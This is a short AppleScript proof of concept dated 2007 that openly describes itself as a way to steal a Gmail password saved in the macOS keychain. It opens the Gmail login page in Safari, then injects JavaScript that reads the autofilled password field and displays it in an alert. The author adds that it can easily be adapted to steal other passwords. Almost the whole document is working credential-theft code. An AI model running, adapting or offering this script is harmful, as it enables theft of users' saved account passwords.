This script can be used to steal G-Mail's keychained password by injecting javascript into Safari. When executed it opens G-Mail's login page, reads the saved password and prompts it into an alert box.
d1666deab432edbc9e59a484712e616f3e4b12ccc20689e06d1d5c0bc471f7ea
-- This script can be used to steal gmail's keychained password by injecting
-- Javascripts into Safari. When executed it opens gmail's login page, reads
-- saved password and prompts it into an alert box.
-- It can be easly modified to steal other pass.
-- poplix papuasia.org -- http://px.dynalias.org -- 09-22-2007
--Stealing code
set JSTEAL to "alert(document.getElementById('gaia_loginform').Passwd.value)"
--Open gmail login page
tell application "Safari"
open location "https://www.google.com/accounts/ServiceLogin?service=mail"
end tell
--Wait loading...
delay 10
--Print out password
tell application "Safari"
do JavaScript JSTEAL in document 1
end tell